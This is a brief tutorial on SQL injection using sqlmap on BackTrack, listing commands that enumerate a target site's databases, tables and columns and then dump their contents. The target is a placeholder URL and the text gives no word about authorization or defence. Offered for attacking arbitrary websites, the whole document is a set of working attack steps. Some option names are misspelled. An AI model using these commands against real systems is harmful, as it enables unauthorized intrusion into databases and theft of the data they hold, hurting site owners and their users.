SQL INJECTION TUTORIAL WITH BACKTRACK

1.) open terminal

2.) type cd /pentest/database/sqlmap

3.) type python sqlmap.py -u www.youtargethere.com/index.php?id= --dbs
AFTER YOU FIND THE DATABASENAME AND TABLE NAME

YOU CAN USE:
-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) --table
-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) -T (tablename) --colum
-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) -T (tablename) -C (columname) --dump